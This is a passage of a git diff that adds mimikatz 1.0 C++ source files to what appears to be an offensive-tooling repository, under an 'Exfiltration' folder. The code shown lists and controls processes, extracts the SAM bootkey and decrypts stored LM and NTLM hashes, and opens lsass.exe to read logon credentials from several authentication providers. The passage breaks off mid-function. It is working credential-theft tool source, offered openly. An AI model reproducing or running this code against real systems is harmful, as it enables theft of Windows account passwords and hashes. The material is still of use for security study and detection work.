if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Fin de : " << procName << L'\t'; + if(mod_process::stop(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::suspend(vector * arguments) +{ + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Suspension de : " << procName << L'\t'; + if(mod_process::suspend(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::resume(vector * arguments) +{ + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Reprise de : " << procName << L'\t'; + if(mod_process::resume(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + + + +bool mod_mimikatz_process::list(vector * arguments) +{ + vector * vectorProcess = new vector(); + if(mod_process::getList(vectorProcess)) + { + (*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl; + for(vector::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' << + monProcess->szExeFile << + endl; + } + } + else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl; + + delete vectorProcess; + return true; +} + +bool mod_mimikatz_process::modules(vector * arguments) +{ + DWORD processId = 0 ; + + if(!arguments->empty() && !(arguments->size() > 1)) + { + wstringstream monBuffer; + monBuffer << arguments->front(); + monBuffer >> processId; + } + + vector * vectorModules = new vector(); + if(mod_process::getModulesListForProcessId(vectorModules, &processId)) + { + (*outputStream) << L"@Base\tTaille\tModule\tPath" << endl; + for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + { + (*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl; + } + } + else + (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + return true; +} + +bool mod_mimikatz_process::iat(vector * arguments) +{ + wstring process; + wstring module; + + switch(arguments->size()) + { + case 2: + process = arguments->at(0); + module = arguments->at(1); + break; + case 1: + process = arguments->at(0); + break; + default: + ; + } + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &process)) + { + if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID)) + { + if(module.empty() || (module.front() != L'*')) + { + if(module.empty()) + module.assign(process); + + mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32(); + if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID)) + { + printIATFromModule(monModule, monHandle); + } + else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl; + delete monModule; + } + else + { + vector * vectorModules = new vector(); + if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID)) + { + for(vector::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + printIATFromModule(&*monModule, monHandle); + } + else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + } + + CloseHandle(monHandle); + } + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + + return true; +} + +void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId) +{ + (*outputStream) << L"PID : " << PID << endl; + + if(ThreadId) + { + (*outputStream) << L"ThreadID : " << ThreadId << endl; + } + + LUID monId = {0, 0}; + if(mod_process::getAuthentificationIdFromProcessId(PID, monId)) + { + (*outputStream) << "AuthId_h : " << monId.HighPart << endl; + (*outputStream) << "AuthId_l : " << monId.LowPart << endl; + } + else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl; +} + +void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle) +{ + (*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl; + PBYTE baseAddr = reinterpret_cast(monModule->modBaseAddr); + + vector>> * monIAT = new vector>>(); + if(mod_process::getIAT(baseAddr, monIAT, monHandle)) + { + for(vector>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++) + { + (*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl; + for(vector::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++) + { + (*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' '; + if(maFonctionImporte->Ordinal != 0) + (*outputStream) << L"O# " << maFonctionImporte->Ordinal; + else + (*outputStream) << maFonctionImporte->funcName.c_str(); + (*outputStream) << endl; + } + } + } + delete monIAT; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h new file mode 100644 index 0000000..68f8428 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include + +class mod_mimikatz_process +{ +private: + static void printInfosFromPid(DWORD &PID, DWORD ThreadId); + static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE); + +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + + static bool start(vector * arguments); + static bool suspend(vector * arguments); + static bool resume(vector * arguments); + static bool stop(vector * arguments); + + + static bool modules(vector * arguments); + static bool iat(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp new file mode 100644 index 0000000..26f5798 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp @@ -0,0 +1,353 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_samdump.h" +#include "..\global.h" + +vector mod_mimikatz_samdump::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Récupère la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Récupère la bootkey depuis une ruche SYSTEM")); + return monVector; +} + +bool mod_mimikatz_samdump::bootkey(vector * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty()) + getInfosFromHive(arguments->front(), bootkey); + else + getInfosFromReg(bootkey); + return true; +} + +bool mod_mimikatz_samdump::full(vector * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2)) + { + if(getInfosFromHive(arguments->front().c_str(), bootkey)) + { + if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl; + } + } + else + { + if(getInfosFromReg(bootkey)) + { + if(!getUsersAndHashesFromReg(bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration du registre" << endl; + } + } + return true; +} + +bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + if(mod_hive::RegOpenHive(samHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account"); + string * valAccountName = new string("F"); + int longueurF = 0; unsigned char *bufferF = NULL; + + if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF)) + { + BYTE hBootKey[0x20] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users"); + mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers )) + { + vector * keyNames = new vector(); + if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames)) + { + for(vector::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++) + { + if(maKey->compare("Names") != 0) + { + string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey); + string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0; + string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0; + + if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast(&userV), &longueurV) && + mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast(&userF), &longueurF)) + { + infosFromUserAndKey(userF, userV, hBootKey); + delete[] userF, userV; + } + delete keyUser; + } + } + } + delete keyNames; + } + delete nodeUsers, keyUsers; + } + delete[] bufferF; + } + delete valAccountName, keyAccountName; + } + delete rootKey; + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + + if(mod_hive::RegOpenHive(systemHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + DWORD nControlSet = 0; + if(getNControlSetFromHive(monHive, rootKey, &nControlSet)) + { + stringstream * monControlSet = new stringstream; + *monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet; + string * fullControlSet = new string(monControlSet->str()); + delete monControlSet; + + wstring * computerName = new wstring(); + if(getComputerNameFromHive(monHive, fullControlSet, computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + delete fullControlSet; + } + } + delete rootKey; + mod_hive::RegCloseHive(monHive); + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName) +{ + bool reussite = false; + + string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName"); + string * valComputerName = new string("ComputerName"); + int longueur = 0; unsigned char *buffer = NULL; + if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur)) + { + computerName->assign(reinterpret_cast(buffer), longueur / sizeof(wchar_t)); + delete[] buffer; + } + delete valComputerName; + delete keyComputerName; + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + unsigned char key[0x10]; + char *kn[] = {"JD", "Skew1", "GBG", "Data"}; + + for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ ) + { + string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]); + mod_hive::nk_hdr * n = new mod_hive::nk_hdr(); + + if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n)) + { + char kv[9] = {0}; + unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000); + for(short j = 0; j < (n->classname_len / 2) && j < 8; j++) + kv[j] = b[j*2]; + sscanf_s(kv, "%x", (unsigned int*) (&key[i*4])); + } + delete n, maKey; + } + + if(reussite) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + BYTE key[0x10] = {0}; + wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"}; + HKEY monLSA; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA); + if(code == ERROR_SUCCESS) + { + for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ ) + { + HKEY monSecret; + code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret); + if(code == ERROR_SUCCESS) + { + wchar_t monBuffer[8 + 1]; + DWORD maTaille = 8 + 1; + + code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)])); + else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(monSecret); + } else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + } + RegCloseKey(monLSA); + } else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl; + + if(reussite = (code == ERROR_SUCCESS)) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + + + +bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet) +{ + bool reussite = false; + + string * selectKey = new string(*rootKey); selectKey->append("\\Select"); + string * nDefault = new string("Default"); + int longueur = 0; unsigned char *buffer = NULL; + + if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur)) + { + if(reussite = (longueur == sizeof(DWORD))) + *nControlSet = *(DWORD *) (buffer); + delete[] buffer; + } + + delete nDefault, selectKey; + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + wstring * computerName = new wstring(); + if(mod_system::getComputerName(computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromReg(bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + + return reussite; +} + + +bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + HKEY maSAM; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM); + if(code == ERROR_SUCCESS) + { + DWORD tailleRequise = 0; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE * bufferF = new BYTE[tailleRequise]; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE hBootKey[0x10] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + HKEY mesUsers; + code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers); + if(code == ERROR_SUCCESS) + { + DWORD nombreUsers = 0, tailleMaxSousCle = 0; + code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL); + if(reussite = (code == ERROR_SUCCESS)) + { + tailleMaxSousCle++; + wchar_t * monRid = new wchar_t[tailleMaxSousCle]; + for(DWORD i = 0; i < nombreUsers ; i++) + { + DWORD tailleRid = tailleMaxSousCle; + code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + { + if(_wcsicmp(monRid, L"Names") != 0) + { + HKEY monUser; + code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser); + if(reussite &= (code == ERROR_SUCCESS)) + { + DWORD tailleF = 0, tailleV = 0; + if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS)) + { + mod_hash::USER_F * userF = reinterpret_cast(new BYTE[tailleF]); + mod_hash::USER_V * userV = reinterpret_cast(new BYTE[tailleV]); + + if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast(userF), &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast(userV), &tailleV) == ERROR_SUCCESS)) + infosFromUserAndKey(userF, userV, hBootKey); + + delete[] userF, userV; + } + RegCloseKey(monUser); + } + } + } else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl; + } + delete[] monRid; + } + RegCloseKey(mesUsers); + } else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl; + } + } else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl; + delete[] bufferF; + } else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(maSAM); + } else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl; + + return reussite; +} + +void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10]) +{ + wstring hashLM, hashNTLM; + mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false); + mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true); + + (*outputStream) << endl << + L"Rid : " << userF->UserId << endl << + L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl << + L"LM : " << hashLM << endl << + L"NTLM : " << hashNTLM << endl + ; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h new file mode 100644 index 0000000..6586d03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hive.h" +#include "mod_hash.h" +#include "mod_system.h" +#include +#include + +class mod_mimikatz_samdump +{ +private: + static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet); + static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName); + + static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]); + static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]); + static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]); + + static bool getBootKeyFromReg(BYTE bootkey[0x10]); + static bool getInfosFromReg(BYTE bootkey[0x10]); + static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]); + + static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]); +public: + static vector getMimiKatzCommands(); + + static bool bootkey(vector * arguments); + static bool full(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp new file mode 100644 index 0000000..d8832bc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp @@ -0,0 +1,348 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_sekurlsa.h" +#include "..\global.h" +HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL; +HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL; +mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL; +PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL; + +bool mod_mimikatz_sekurlsa::lsassOK = false; +vector> mod_mimikatz_sekurlsa::GLOB_ALL_Providers; +vector mod_mimikatz_sekurlsa::mesModules; + +vector mod_mimikatz_sekurlsa::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles")); + + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes")); + return monVector; +} + +bool mod_mimikatz_sekurlsa::getLogonPasswords(vector * arguments) +{ + if(searchLSASSDatas()) + getLogonData(arguments, &GLOB_ALL_Providers); + else + (*outputStream) << L"Données LSASS en erreur" << endl; + return true; +} + +bool mod_mimikatz_sekurlsa::loadLsaSrv() +{ + if(!hLsaSrv) + hLsaSrv = LoadLibrary(L"lsasrv"); + + if(mesModules.empty()) + { + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV)); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP)); + } + return (hLsaSrv != NULL); +} + +bool mod_mimikatz_sekurlsa::unloadLsaSrv() +{ + for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + if(*testModule->pModuleEntry) + delete *testModule->pModuleEntry; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData(); + else + mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData(); + + if(hLSASS) + CloseHandle(hLSASS); + if(hLsaSrv) + FreeLibrary(hLsaSrv); + + return true; +} + +bool mod_mimikatz_sekurlsa::searchLSASSDatas() +{ + if(!lsassOK) + { + if(!hLSASS) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring processName = L"lsass.exe"; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID)) + { + vector monVecteurModules; + if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS)) + { + for(vector::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++) + { + for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + { + if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry)) + { + GLOB_ALL_Providers.push_back(make_pair(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/)); + *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule); + break; + } + } + } + } else { + (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl; + CloseHandle(hLSASS); + hLSASS = NULL; + } + } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl; + } + + if(hLSASS) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + localLSASRV.modBaseAddr = reinterpret_cast(mesInfos.lpBaseOfDll); + localLSASRV.modBaseSize = mesInfos.SizeOfImage; + + if(!SeckPkgFunctionTable) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + + lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData(); + } + } + } + return lsassOK; +} + +PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind) +{ + PLIST_ENTRY resultat = NULL; + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + PLIST_ENTRY pStruct = NULL; + if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS)) + { + while(pStruct != pSecurityStruct) + { + if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) + { + resultat = pStruct; + break; + } + } else break; + pStruct = reinterpret_cast(monBuffer)->Flink; + } + } + delete [] monBuffer; + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), 